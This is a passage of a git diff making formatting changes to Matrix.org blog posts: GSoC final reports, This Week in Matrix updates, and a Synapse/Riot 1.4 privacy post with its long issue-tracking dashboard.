[/sync](https://matrix.org/docs/spec/client_server/r0.5.0#get-matrix-client-r0-sync) request. @@ -75,6 +76,7 @@ You can have a look at the details of the implementation in [this PR](https://gi The next major task I had to do was the implementation of a backend for retrieving events via the Federation API. I thought a lot about the possible options for the location of this backend and I decided to extend the web server created for the PostgreSQL Synapse backend, so that we could launch it in a “postgres mode” or “federation mode”. But the backend would offer the same HTTP API in both modes. The backend uses [the Federation API](https://matrix.org/docs/spec/server_server/r0.1.3) in the following way: + * Before being able to retrieve events from a certain room, the backend must join it with [/make_join](https://matrix.org/docs/spec/server_server/r0.1.3#get-matrix-federation-v1-make-join-roomid-userid) and [/send_join](https://matrix.org/docs/spec/server_server/r0.1.3#put-matrix-federation-v1-send-join-roomid-eventid) requests, it creates an “imaginary user” in this room. The join event created during this process will be the one returned by the endpoint `/deepest`. * To get earlier events, the backend uses [/backfill](https://matrix.org/docs/spec/server_server/r0.1.3#get-matrix-federation-v1-backfill-roomid) requests. * In order to get new events, the backend listens for pushed events from other HS’s with the [/send](https://matrix.org/docs/spec/server_server/r0.1.3#put-matrix-federation-v1-send-txnid) request. @@ -98,6 +100,7 @@ Lastly, I’ve applied small fixes to the code of the backend, you can see them ## Possible improvements The objective of this project was to develop the core functionalities of this application, however there are a lot of improvements to bring to it, like: + * Adding the possibility to start the observation of a room from any events (provided that we have the ID of this events) instead of the latest one. * These hasn’t been any UI/UX work design, the CSS style sheet is minimal and the overall look isn’t beautiful or correctly organised. So there would be a lot of work to be done in this area by people with better knowledge in this field than me. * The timestamps of the events are not displayed in a human readable format and would be written as dates and hours to greatly improve the readability. diff --git a/content/blog/2019/09/2019-09-10-dendrite-development-final-report-g-so-c-2019.md b/content/blog/2019/09/2019-09-10-dendrite-development-final-report-g-so-c-2019.md index af3e3747d..e5da83f0d 100644 --- a/content/blog/2019/09/2019-09-10-dendrite-development-final-report-g-so-c-2019.md +++ b/content/blog/2019/09/2019-09-10-dendrite-development-final-report-g-so-c-2019.md @@ -50,7 +50,7 @@ Work done: Work left: - [Implement guest access (#668)](https://github.com/matrix-org/dendrite/issues/668) - - This was removed from the plan for GSoC so work with higher priorities + - This was removed from the plan for GSoC so work with higher priorities according to the [milestone](https://github.com/matrix-org/dendrite/milestone/5) could be done first. @@ -63,7 +63,7 @@ requests (`/sync` requests) and some other related requests from the clients._ Work done: - [Add EDU support and typing notifications to /sync (#718)](https://github.com/matrix-org/dendrite/pull/718) - - EDU stands for Ephemeral Data Units; they are events carrying short-term + - EDU stands for Ephemeral Data Units; they are events carrying short-term status in the room, for example typing notifications. - [Implement "full\_state" query parameter for /sync (#751)](https://github.com/matrix-org/dendrite/pull/751) - ...and other fixes and improvements @@ -80,7 +80,7 @@ handled._ Work done: - [Implement event redaction (#768)](https://github.com/matrix-org/dendrite/pull/768) - - This also includes a relatively large chunk of changes in the Sync Server. + - This also includes a relatively large chunk of changes in the Sync Server. - [Fix permission and 404 response for alias deletion (#706)](https://github.com/matrix-org/dendrite/pull/706) - ...and other fixes and improvements @@ -107,7 +107,7 @@ Work done: Work left: - Implementation of a "Most Recent Transaction Sender" In-Memory Cache - - There is a delay in this part of work because some dependency problems + - There is a delay in this part of work because some dependency problems took longer than expected to resolve, but this has been planned and will be worked on after GSoC. - Implementation of a component that handles backoff/retries for federation requests @@ -115,14 +115,14 @@ Work left: ## General Fixes, Improvements, Maintenance Work - Data race fixes - - [Fix data races reported by go test -race ./... (#748)](https://github.com/matrix-org/dendrite/pull/748) - - [Fix data race in clientapi/routing/register.go (#787)](https://github.com/matrix-org/dendrite/pull/787) + - [Fix data races reported by go test -race ./... (#748)](https://github.com/matrix-org/dendrite/pull/748) + - [Fix data race in clientapi/routing/register.go (#787)](https://github.com/matrix-org/dendrite/pull/787) - Fixes for incorrect transaction ID scopes - - [Fix transaction IDs in transaction cache have global scope (#772)](https://github.com/matrix-org/dendrite/pull/772) - - [Associate transactions with session IDs instead of device IDs (#789)](https://github.com/matrix-org/dendrite/pull/789) + - [Fix transaction IDs in transaction cache have global scope (#772)](https://github.com/matrix-org/dendrite/pull/772) + - [Associate transactions with session IDs instead of device IDs (#789)](https://github.com/matrix-org/dendrite/pull/789) - Improvements for building/testing process - - [Refine config and docs for sytest (#714)](https://github.com/matrix-org/dendrite/pull/714) - - [Fix build conflict between docker environment and host (#598)](https://github.com/matrix-org/dendrite/pull/598) + - [Refine config and docs for sytest (#714)](https://github.com/matrix-org/dendrite/pull/714) + - [Fix build conflict between docker environment and host (#598)](https://github.com/matrix-org/dendrite/pull/598) ## Links to All Pull Requests diff --git a/content/blog/2019/09/2019-09-13-this-week-in-matrix-2019-09-13.md b/content/blog/2019/09/2019-09-13-this-week-in-matrix-2019-09-13.md index 3757eb475..55f6160bd 100644 --- a/content/blog/2019/09/2019-09-13-this-week-in-matrix-2019-09-13.md +++ b/content/blog/2019/09/2019-09-13-this-week-in-matrix-2019-09-13.md @@ -16,14 +16,18 @@ image = "https://matrix.org/blog/img/2019-09-13-matrixlive.png" ## Dept of Spec 📜 + **Approved MSCs** * [MSC1802: Remove the '200' value from some federation responses](https://github.com/matrix-org/matrix-doc/pull/1802) + **Final Comment Period** + *No MSCs have entered FCP* + **In Progress MSCs** * [MSC2290: Separate Endpoints for Threepid Binding](https://github.com/matrix-org/matrix-doc/pull/2290) diff --git a/content/blog/2019/09/2019-09-20-qt-based-clients-end-to-end-encryption-support-final-report-g-so-c-2019.md b/content/blog/2019/09/2019-09-20-qt-based-clients-end-to-end-encryption-support-final-report-g-so-c-2019.md index 12951165c..a17af45b3 100644 --- a/content/blog/2019/09/2019-09-20-qt-based-clients-end-to-end-encryption-support-final-report-g-so-c-2019.md +++ b/content/blog/2019/09/2019-09-20-qt-based-clients-end-to-end-encryption-support-final-report-g-so-c-2019.md @@ -22,10 +22,9 @@ Focused on libQuotient, I've also [added changes to Quaternion client](https://g I've reused libQtOlm, which is a Qt wrapper to the matrix olm library and [contributed to provide better compatibility during its building and deployment](https://gitlab.com/b0/libqtolm/merge_requests?scope=all&utf8=%E2%9C%93&state=all&author_username=aa13q). This also required to dive into the olm library itself and provide [minor patch](https://gitlab.matrix.org/matrix-org/olm/commit/aa0c9ab6b51d182cb78ab4cc75c81c0054765bde) for the olm CMake files too. - So, the basic structure of the project changed a bit, libQtOlm was added as a dependency to support libolm: -``` +```txt +--------------------------------------------+ | Quaternion/Spectral/Telepathy|Tank/etc | +------------------+ +--------------------------------------------+ @@ -46,6 +45,7 @@ During the coding period, I've resorted to [the specification](https://matrix.or ## Future work Talking about future work, the status is going to be captured at [libQuotient project board](https://github.com/quotient-im/libQuotient/projects). Next steps are: + - Managing devices list for users in the room - Sending encrypted messages @@ -61,7 +61,7 @@ From the beginning of the project, I've realized I'm very lucky since I've got a However, planning and updating the plan were my weak points, where I've made key mistakes, such as poor combination with my regular part-time job. And I definitely should have reserved a small vacation at least for the final period of the project to handle tasks better. -In the end, I've managed to debug the mistakes and provided encrypted messages receiving that could already be used at the clients. Also, I evolved my skills and dived into the megolm E2EE subject. I'm willing to continue my contribution to develop libQuotient as full-featured Qt-based Matrix library. +In the end, I've managed to debug the mistakes and provided encrypted messages receiving that could already be used at the clients. Also, I evolved my skills and dived into the megolm E2EE subject. I'm willing to continue my contribution to develop libQuotient as full-featured Qt-based Matrix library. In general, I am not disappointed. I'm wishing luck to all the future students who are reading this. I'm happy to receive support and contribute to an international open project not only for myself, but also for the other developers and users. diff --git a/content/blog/2019/09/2019-09-20-this-week-in-matrix-2019-09-20.md b/content/blog/2019/09/2019-09-20-this-week-in-matrix-2019-09-20.md index fb927b674..584c73de1 100644 --- a/content/blog/2019/09/2019-09-20-this-week-in-matrix-2019-09-20.md +++ b/content/blog/2019/09/2019-09-20-this-week-in-matrix-2019-09-20.md @@ -18,14 +18,18 @@ I spoke to Half-Shot about LOTS of topics in bridging, well worth a watch if you ## Dept of Spec 📜 + **Approved MSCs** *No MSCs have cleared FCP this week.* + **Final Comment Period** + *No MSCs have entered FCP this week* + **In Progress MSCs** * [MSC2291: Configuration to Control Crawling](https://github.com/matrix-org/matrix-doc/pull/2291) @@ -62,21 +66,23 @@ Notes from Jason: > The Matrix Slack bridge has had another release candidate this week. [1.0 RC2](https://github.com/matrix-org/matrix-appservice-slack/releases/tag/1.0.0-rc2) is out now. We've rewritten the codebase in Typescript and made many changes, and need your feedback before release so please do not hold back on testing it! The 1.0 release is slated to arrive sometime next week :) -### famedly-email-bridge - new email bridge!! +### famedly-email-bridge - new email bridge [sorunome](https://matrix.to/#/@sorunome:sorunome.de) told us: > Presenting [famedly-email-bridge](https://gitlab.com/famedly/bridges/famedly-email-bridge), a new email bridge! It is still early in development but can already send and receive emails. > > Features so far: -> - Receive emails by a prefix (e.g. `matrix_sorunome@myserver.com`, `matrix_otheruser@myserver.com`) -> - Send emails with said prefix -> - Receiving emails parses plain body, html body and attachments -> - Sending emails collects all messages for a given amount of time. After that it creates an email based on that! Supports edits, redactions and files (image, video, audio, file)! +> +> * Receive emails by a prefix (e.g. `matrix_sorunome@myserver.com`, `matrix_otheruser@myserver.com`) +> * Send emails with said prefix +> * Receiving emails parses plain body, html body and attachments +> * Sending emails collects all messages for a given amount of time. After that it creates an email based on that! Supports edits, redactions and files (image, video, audio, file)! > > Things planned for the future: -> - Route emails to channels based on threading (reply-chain) -> - Send emails by making a new channel and inviting an email ghost and just sending messages! +> +> * Route emails to channels based on threading (reply-chain) +> * Send emails by making a new channel and inviting an email ghost and just sending messages! ### IRC bridge progress: postgres @@ -169,4 +175,3 @@ Nico has reappeared, on the [tropical island Reunion](https://www.kudutravel.com See you next week, and be sure to stop by [#twim:matrix.org] with your updates! [#TWIM:matrix.org]: https://matrix.to/#/#TWIM:matrix.org -[anoa]: https://matrix.to/#/@andrewm:amorgan.xyz diff --git a/content/blog/2019/09/2019-09-27-privacy-improvements-in-synapse-1-4-and-riot-1-4.md b/content/blog/2019/09/2019-09-27-privacy-improvements-in-synapse-1-4-and-riot-1-4.md index c269b21fc..1aa7fbdb7 100644 --- a/content/blog/2019/09/2019-09-27-privacy-improvements-in-synapse-1-4-and-riot-1-4.md +++ b/content/blog/2019/09/2019-09-27-privacy-improvements-in-synapse-1-4-and-riot-1-4.md @@ -122,25 +122,25 @@ with the [previous 0.2.1 stable release](https://matrix.org/docs/spec/identity_service/r0.2.1), as well as checking the detailed MSCs as follows: -* [MSC1961: Integration manager authentication APIs](https://github.com/matrix-org/matrix-doc/pull/1961) -* [MSC2078: Sending Third-Party Request Tokens via the Homeserver](https://github.com/matrix-org/matrix-doc/pull/2078) -* [MSC2134: Identity Hash Lookups](https://github.com/matrix-org/matrix-doc/pull/2134) -* [MSC2140: Terms of Service for ISes and IMs](https://github.com/matrix-org/matrix-doc/pull/2140) -* [MSC2229: Allowing 3PID Owners to Rebind](https://github.com/matrix-org/matrix-doc/pull/2229) -* [MSC2230: Store Identity Server in Account Data](https://github.com/matrix-org/matrix-doc/pull/2230) -* [MSC2263: Give homeservers the ability to handle their own 3PID registrations/password resets](https://github.com/matrix-org/matrix-doc/pull/2263) -* [MSC2264: Add an unstable feature flag to MSC2140 for clients to detect support](https://github.com/matrix-org/matrix-doc/pull/2264) -* [MSC2290: Separate Endpoints for Threepid Binding](https://github.com/matrix-org/matrix-doc/pull/2290) +* [MSC1961: Integration manager authentication APIs](https://github.com/matrix-org/matrix-doc/pull/1961) +* [MSC2078: Sending Third-Party Request Tokens via the Homeserver](https://github.com/matrix-org/matrix-doc/pull/2078) +* [MSC2134: Identity Hash Lookups](https://github.com/matrix-org/matrix-doc/pull/2134) +* [MSC2140: Terms of Service for ISes and IMs](https://github.com/matrix-org/matrix-doc/pull/2140) +* [MSC2229: Allowing 3PID Owners to Rebind](https://github.com/matrix-org/matrix-doc/pull/2229) +* [MSC2230: Store Identity Server in Account Data](https://github.com/matrix-org/matrix-doc/pull/2230) +* [MSC2263: Give homeservers the ability to handle their own 3PID registrations/password resets](https://github.com/matrix-org/matrix-doc/pull/2263) +* [MSC2264: Add an unstable feature flag to MSC2140 for clients to detect support](https://github.com/matrix-org/matrix-doc/pull/2264) +* [MSC2290: Separate Endpoints for Threepid Binding](https://github.com/matrix-org/matrix-doc/pull/2290) This said, there is still some work remaining for us to do here. The main things which haven’t made it into this release are: -* Preferring to get server keys from the source server rather than the notary server by default ([https://github.com/matrix-org/synapse/pull/6110](https://github.com/matrix-org/synapse/pull/6110)). This almost made it in, but we need to test it more first - until then, your specified notary server will see roughly what servers your servers are trying to talk to. In future this will be mitigated properly by [MSC1228 (removing mxids from events)](https://github.com/matrix-org/matrix-doc/issues/1228). -* Configurable data retention periods for rooms. We are tantalisingly close with this - [https://github.com/matrix-org/synapse/pull/5815](https://github.com/matrix-org/synapse/pull/5815) is an implementation that the French Govt deployment is using; we need to port it into mainline Synapse. -* Authenticating access to the media repository - for now, we still rely on media IDs being almost impossible to guess to protect the data rather than authenticating the user. -* Deleting items from the media repository - we still need to hook up deletion APIs. -* Garbage collecting forgotten rooms. If everyone leaves & forgets a room, we should delete it from the DB. -* [Communicating erasure requests over federation ](https://github.com/matrix-org/matrix-doc/issues/1280) +* Preferring to get server keys from the source server rather than the notary server by default ([https://github.com/matrix-org/synapse/pull/6110](https://github.com/matrix-org/synapse/pull/6110)). This almost made it in, but we need to test it more first - until then, your specified notary server will see roughly what servers your servers are trying to talk to. In future this will be mitigated properly by [MSC1228 (removing mxids from events)](https://github.com/matrix-org/matrix-doc/issues/1228). +* Configurable data retention periods for rooms. We are tantalisingly close with this - [https://github.com/matrix-org/synapse/pull/5815](https://github.com/matrix-org/synapse/pull/5815) is an implementation that the French Govt deployment is using; we need to port it into mainline Synapse. +* Authenticating access to the media repository - for now, we still rely on media IDs being almost impossible to guess to protect the data rather than authenticating the user. +* Deleting items from the media repository - we still need to hook up deletion APIs. +* Garbage collecting forgotten rooms. If everyone leaves & forgets a room, we should delete it from the DB. +* [Communicating erasure requests over federation](https://github.com/matrix-org/matrix-doc/issues/1280) We’ll continue to work on these as part of our ongoing maintenance backlog. @@ -196,310 +196,309 @@ our AMA over at ### The Privacy Project Dashboard Of Doom -* phase:1 - * vector-im/riot-web - * [5846 Riot duplicates calls to Scalar](https://github.com/vector-im/riot-web/issues/5846) (done) - * [5921 Ability to disable all identity server functionality via the config file](https://github.com/vector-im/riot-web/issues/5921) (done) - * [6802 riot shouldn't try to load integrations from an integration manager unless the user has accepted that manager's privacy policies](https://github.com/vector-im/riot-web/issues/6802) (done) - * [10088 Prompt to accept integration manager polices on use](https://github.com/vector-im/riot-web/issues/10088) (done) - * [10090 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riot-web/issues/10090) (done) - * [10091 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riot-web/issues/10091) (done) - * [10092 Prompt to accept Identity Server policies on registration](https://github.com/vector-im/riot-web/issues/10092) (done) - * [10093 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riot-web/issues/10093) (done) - * [10094 Store identity server in Account Data and support choosing identity server integration in User Settings](https://github.com/vector-im/riot-web/issues/10094) (done) - * [10159 Enable toggling a threepid's association with the current IS in User Settings](https://github.com/vector-im/riot-web/issues/10159) (done) - * [10173 VoIP: Stop falling back to Google for STUN](https://github.com/vector-im/riot-web/issues/10173) (done) - * [10216 We should make it clear in the UI that device names are publicly readable](https://github.com/vector-im/riot-web/issues/10216) (done) - * [10386 Terms modal prompt should appear without a flash of the integration manager portal first](https://github.com/vector-im/riot-web/issues/10386) (done) - * [10408 Identity server v2 API authentication](https://github.com/vector-im/riot-web/issues/10408) (done) - * [10423 Deploy a develop environment for t's and c's flows for IM and IS](https://github.com/vector-im/riot-web/issues/10423) (done) - * [10424 Remove the bind true flag from 3PID calls on registration](https://github.com/vector-im/riot-web/issues/10424) (done) - * [10425 Ability to disconnect from the identity server by pressing buttons in user settings.](https://github.com/vector-im/riot-web/issues/10425) (done) - * [10452 Test IS v2 access tokens for validity](https://github.com/vector-im/riot-web/issues/10452) (done) - * [10497 Integration manager terms hides terms that need signing](https://github.com/vector-im/riot-web/issues/10497) (done) - * [10510 Remove the bind true flag from 3PID adds in settings](https://github.com/vector-im/riot-web/issues/10510) (done) - * [10519 Update discovery and account 3PID sections when either changes](https://github.com/vector-im/riot-web/issues/10519) (done) - * [10522 Handle terms agreement in the Discovery section of settings](https://github.com/vector-im/riot-web/issues/10522) (done) - * [10525 IS interactions proxied through the HS also need terms agreement](https://github.com/vector-im/riot-web/issues/10525) (done) - * [10528 don't try & show threepids in discovery section if we don't have an ID server](https://github.com/vector-im/riot-web/issues/10528) (done) - * [10539 Inline terms agreement on change IS and IM](https://github.com/vector-im/riot-web/issues/10539) (done) - * [10540 When using Riot without an IS, identity requests are sent to server hosting Riot](https://github.com/vector-im/riot-web/issues/10540) (done) - * [10546 Prompt for fallback VOIP should only happen when the user tries to make a call](https://github.com/vector-im/riot-web/issues/10546) (done) - * [10550 warn when disconnecting ID server if there are any current bindings](https://github.com/vector-im/riot-web/issues/10550) (done) - * [10552 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riot-web/issues/10552) (done) - * [10553 Remove the ability to set an IS at login/registration](https://github.com/vector-im/riot-web/issues/10553) (done) - * [10556 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riot-web/issues/10556) (done) - * [10561 Scalar should serve a .well-known file](https://github.com/vector-im/riot-web/issues/10561) (done) - * [10566 Use nicer APIs for toggling a 3PID's shared status](https://github.com/vector-im/riot-web/issues/10566) (done) - * [10571 Allow email registration when no IS](https://github.com/vector-im/riot-web/issues/10571) (done) - * [10572 Allow password reset when no IS](https://github.com/vector-im/riot-web/issues/10572) (done) - * [10573 Allow adding 3pids when no IS](https://github.com/vector-im/riot-web/issues/10573) (done) - * [10574 Placeholder issue for MSCs that should land prior to the privacy release](https://github.com/vector-im/riot-web/issues/10574) (done) - * [10593 Placeholder issue for privacy migration path](https://github.com/vector-im/riot-web/issues/10593) (done) - * [10597 Ensure IS in account data is read / written as specced](https://github.com/vector-im/riot-web/issues/10597) (done) - * [10599 Send IS for adding MSISDNs only when required by HS](https://github.com/vector-im/riot-web/issues/10599) (done) - * [10603 Getting a terms prompt when inviting an email address clears the address picker](https://github.com/vector-im/riot-web/issues/10603) (done) - * [10619 Handle the case of no IS in features that require IS to lookup](https://github.com/vector-im/riot-web/issues/10619) (done) - * [10620 Change auth flows so that you default to no IS](https://github.com/vector-im/riot-web/issues/10620) (done) - * [10634 Changing to vector.im IS in Settings fails because /terms 404s](https://github.com/vector-im/riot-web/issues/10634) (done) - * [10635 Inline terms agreement in Discovery should still show change and do not use](https://github.com/vector-im/riot-web/issues/10635) (done) - * [10636 The UX is a little confusing if you haven't accepted the terms of the default identity server.](https://github.com/vector-im/riot-web/issues/10636) (done) - * [10637 Unable to add email address to HS account without IS set](https://github.com/vector-im/riot-web/issues/10637) (done) - * [10660 Sydent implementation: Unauthed v1, clone all endpoints, auth v2](https://github.com/vector-im/riot-web/issues/10660) (done) - * [10666 In login/register, riot freezes if you go to Advanced, remove the IS url and click next](https://github.com/vector-im/riot-web/issues/10666) (done) - * [10669 Checking email invite account is unclear when no IS set](https://github.com/vector-im/riot-web/issues/10669) (done) - * [10674 Email help text on registration should be updated without binding](https://github.com/vector-im/riot-web/issues/10674) (done) - * [10677 Change text about other users being able to invite you by email on registration page](https://github.com/vector-im/riot-web/issues/10677) (done) - * [10744 Only set terms URLs in the account when they change](https://github.com/vector-im/riot-web/issues/10744) (done) - * [10749 Changing from one IS to another does not trigger bound 3PID warning](https://github.com/vector-im/riot-web/issues/10749) (done) - * [10750 Bound 3PIDs warning should better explain what's being left behind](https://github.com/vector-im/riot-web/issues/10750) (done) - * [10754 Lowercase emails during IS lookup calls](https://github.com/vector-im/riot-web/issues/10754) (done) - * [10755 Terms account data is meant to be additive, but currently sets only new URLs](https://github.com/vector-im/riot-web/issues/10755) (done) - * [10756 After changing IS to termstest.matrix.org the text field isn't cleared and the button remains active](https://github.com/vector-im/riot-web/issues/10756) (done) - * [10757 After changing IS back to vector.im the text field isn't cleared and the button remains active](https://github.com/vector-im/riot-web/issues/10757) (done) - * [10758 Revoke may be too vague for unbinding a 3PID](https://github.com/vector-im/riot-web/issues/10758) (done) - * [10779 When publishing a threepid to an IS, if you click 'continue' before clicking the link in your email, we delete your threepid from the HS.](https://github.com/vector-im/riot-web/issues/10779) (done) - * [10800 Community invite should not talk about ISes at all.](https://github.com/vector-im/riot-web/issues/10800) (done) - * [10823 IS with unagreed terms will block you from adding even unshared 3PIDs to your HS](https://github.com/vector-im/riot-web/issues/10823) (done) - * [10839 Use the new backend APIs for adding-3pid-to-homeserver and binding-3pid-on-identity-server when they exist.](https://github.com/vector-im/riot-web/issues/10839) (done) - * [10878 UX regression when trying to invite by email if no IS is configured](https://github.com/vector-im/riot-web/issues/10878) (done) - * [10883 Riot should check for r0.6.0 server support alongside feature flags](https://github.com/vector-im/riot-web/issues/10883) (done) - * [10923 Send validation tokens to submit_url from HS](https://github.com/vector-im/riot-web/issues/10923) (done) - * [10933 Do not include ID server or access token when HS supports MSC2290](https://github.com/vector-im/riot-web/issues/10933) (done) - * [10939 Registration with MSISDN needs to use submit_url](https://github.com/vector-im/riot-web/issues/10939) (done) - * [10941 threepid_creds for registration and password reset still include id_server](https://github.com/vector-im/riot-web/issues/10941) (done) - * [10959 Remove id_server from email threepid_creds](https://github.com/vector-im/riot-web/issues/10959) (done) - * [10604 QA: Re-test ALL of the identity server interactions](https://github.com/vector-im/riot-web/issues/10604) (in progress) - * [10958 Terms of Service nitpicks](https://github.com/vector-im/riot-web/issues/10958) (in progress) - * [10704 We treat an empty string identity server as not having one](https://github.com/vector-im/riot-web/issues/10704) - * vector-im/riot-ios - * [2518 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riot-ios/issues/2518) (done) - * [2521 Privacy: Improve wording on contact upload UI](https://github.com/vector-im/riot-ios/issues/2521) (done) - * [2532 VoIP: Stop falling back to Google for STUN](https://github.com/vector-im/riot-ios/issues/2532) (done) - * [2600 Prompt to accept integration manager polices on use](https://github.com/vector-im/riot-ios/issues/2600) (done) - * [2601 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riot-ios/issues/2601) (done) - * [2602 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riot-ios/issues/2602) (done) - * [2603 Identity server v2 API authentication](https://github.com/vector-im/riot-ios/issues/2603) (done) - * [2606 Settings: Add a Discovery section](https://github.com/vector-im/riot-ios/issues/2606) (done) - * [2608 Registration: Update consents flow](https://github.com/vector-im/riot-ios/issues/2608) (done) - * [2643 Ability to disable all identity server functionality via the config file](https://github.com/vector-im/riot-ios/issues/2643) (done) - * [2646 VoIP: Fallback to matrix.org STUN server with a confirmation dialog](https://github.com/vector-im/riot-ios/issues/2646) (done) - * [2647 MXRestClient: Move IS API to its own](https://github.com/vector-im/riot-ios/issues/2647) (done) - * [2648 Remove the bind true flag from 3PID calls on registration](https://github.com/vector-im/riot-ios/issues/2648) (done) - * [2650 Remove the bind true flag from 3PID adds in settings](https://github.com/vector-im/riot-ios/issues/2650) (done) - * [2651 Store identity server in Account Data and support choosing identity server integration in User Settings](https://github.com/vector-im/riot-ios/issues/2651) (done) - * [2652 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riot-ios/issues/2652) (done) - * [2653 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riot-ios/issues/2653) (done) - * [2654 Use nicer APIs for toggling a 3PID's shared status](https://github.com/vector-im/riot-ios/issues/2654) (done) - * [2657 Allow email registration when no IS](https://github.com/vector-im/riot-ios/issues/2657) (done) - * [2658 Allow password reset when no IS](https://github.com/vector-im/riot-ios/issues/2658) (done) - * [2659 Allow adding 3pids when no IS](https://github.com/vector-im/riot-ios/issues/2659) (done) - * [2660 Handle terms agreement in the Discovery section of settings](https://github.com/vector-im/riot-ios/issues/2660) (done) - * [2661 Remove the ability to set an IS at login/registration](https://github.com/vector-im/riot-ios/issues/2661) (done) - * [2662 We should make it clear in the UI that device names are publicly readable](https://github.com/vector-im/riot-ios/issues/2662) (done) - * [2664 Placeholder issue for privacy migration path](https://github.com/vector-im/riot-ios/issues/2664) (done) - * [2665 Ensure IS in account data is read / written as specced](https://github.com/vector-im/riot-ios/issues/2665) (done) - * [2672 Handle the case of no IS in features that require IS to lookup](https://github.com/vector-im/riot-ios/issues/2672) (done) - * [2675 Email help text on registration should be updated without binding](https://github.com/vector-im/riot-ios/issues/2675) (done) - * [2682 Send IS for adding MSISDNs only when required by HS](https://github.com/vector-im/riot-ios/issues/2682) (done) - * [2686 Use wellknown to discover the IS of a custom HS](https://github.com/vector-im/riot-ios/issues/2686) (done) - * [2696 Lowercase emails during IS lookup calls](https://github.com/vector-im/riot-ios/issues/2696) (done) - * [2704 Use `id_access_token` in CS API when required](https://github.com/vector-im/riot-ios/issues/2704) (done) - * [2604 Settings: Ability to change the identity server](https://github.com/vector-im/riot-ios/issues/2604) (in progress) - * [2649 Ability to disconnect from the identity server by pressing buttons in user settings](https://github.com/vector-im/riot-ios/issues/2649) (in progress) - * [2713 Use the new backend APIs for adding-3pid-to-homeserver and binding-3pid-on-identity-server when they exist.](https://github.com/vector-im/riot-ios/issues/2713) (in progress) - * [2718 Riot should check for r0.6.0 server support alongside feature flags](https://github.com/vector-im/riot-ios/issues/2718) (in progress) - * [2683 Checking email invite account is unclear when no IS set](https://github.com/vector-im/riot-ios/issues/2683) - * [2731 Send validation tokens to submit_url from HS](https://github.com/vector-im/riot-ios/issues/2731) - * [2732 Do not include ID server or access token when HS supports MSC2290](https://github.com/vector-im/riot-ios/issues/2732) - * [2736 IS terms cannot be accepted anymore](https://github.com/vector-im/riot-ios/issues/2736) - * vector-im/riot-android - * [3223 VoIP: Stop falling back to Google for STUN](https://github.com/vector-im/riot-android/issues/3223) (done) - * [3224 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riot-android/issues/3224) (done) - * [3225 Prompt to accept integration manager polices on use ](https://github.com/vector-im/riot-android/issues/3225)(done) - * [3226 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riot-android/issues/3226) (done) - * [3227 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riot-android/issues/3227) (done) - * [3228 Identity server v2 API authentication](https://github.com/vector-im/riot-android/issues/3228) (done) - * [3229 Settings: Ability to change the identity server](https://github.com/vector-im/riot-android/issues/3229) (done) - * [3230 Settings: Add a Discovery section](https://github.com/vector-im/riot-android/issues/3230) (done) - * [3231 Registration: Update consents flow](https://github.com/vector-im/riot-android/issues/3231) (done) - * [3252 Remove the bind true flag from 3PID calls on registration](https://github.com/vector-im/riot-android/issues/3252) (done) - * [3253 Ability to disconnect from the identity server by pressing buttons in user settings](https://github.com/vector-im/riot-android/issues/3253) (done) - * [3254 Remove the bind true flag from 3PID adds in settings](https://github.com/vector-im/riot-android/issues/3254) (done) - * [3256 Store identity server in Account Data and support choosing identity server integration in User Settings](https://github.com/vector-im/riot-android/issues/3256) (done) - * [3257 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riot-android/issues/3257) (done) - * [3258 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riot-android/issues/3258) (done) - * [3260 Allow email registration when no IS](https://github.com/vector-im/riot-android/issues/3260) (done) - * [3261 Allow password reset when no IS](https://github.com/vector-im/riot-android/issues/3261) (done) - * [3262 Allow adding 3pids when no IS](https://github.com/vector-im/riot-android/issues/3262) (done) - * [3263 Handle terms agreement in the Discovery section of settings](https://github.com/vector-im/riot-android/issues/3263) (done) - * [3264 Remove the ability to set an IS at login/registration](https://github.com/vector-im/riot-android/issues/3264) (done) - * [3265 We should make it clear in the UI that device names are publicly readable](https://github.com/vector-im/riot-android/issues/3265) (done) - * [3268 Placeholder issue for privacy migration path](https://github.com/vector-im/riot-android/issues/3268) (done) - * [3269 Ensure IS in account data is read / written as specced](https://github.com/vector-im/riot-android/issues/3269) (done) - * [3277 Handle the case of no IS in features that require IS to lookup](https://github.com/vector-im/riot-android/issues/3277) (done) - * [3278 Email help text on registration should be updated without binding](https://github.com/vector-im/riot-android/issues/3278) (done) - * [3281 Send IS for adding MSISDNs only when required by HS](https://github.com/vector-im/riot-android/issues/3281) (done) - * [3283 Use wellknown to discover the IS of a custom HS](https://github.com/vector-im/riot-android/issues/3283) (done) - * [3289 Lowercase emails during IS lookup calls](https://github.com/vector-im/riot-android/issues/3289) (done) - * [3295 Use `id_access_token` in CS API when required](https://github.com/vector-im/riot-android/issues/3295) (done) - * [3300 Use the new backend APIs for adding-3pid-to-homeserver and binding-3pid-on-identity-server when they exist. ](https://github.com/vector-im/riot-android/issues/3300)(done) - * [3312 Riot should check for r0.6.0 server support alongside feature flags](https://github.com/vector-im/riot-android/issues/3312) (done) - * [3316 Implement MSC2290](https://github.com/vector-im/riot-android/issues/3316) (done) - * [3324 id_server param sent when registering an email on server that does not requires one](https://github.com/vector-im/riot-android/issues/3324) (done) - * [3326 Discovery Settings / infinite loading if terms not signed on existing IS](https://github.com/vector-im/riot-android/issues/3326) (done) - * [3327 vector.im is seen as having no terms, but it does](https://github.com/vector-im/riot-android/issues/3327) (done) - * [3251 VoIP: Fallback to matrix.org STUN server with a confirmation dialog](https://github.com/vector-im/riot-android/issues/3251) (in progress) - * [3248 Ability to disable all identity server functionality via the config file](https://github.com/vector-im/riot-android/issues/3248) - * [3318 Send validation tokens to submit_url from HS](https://github.com/vector-im/riot-android/issues/3318) - * [3322 Do not include ID server or access token when 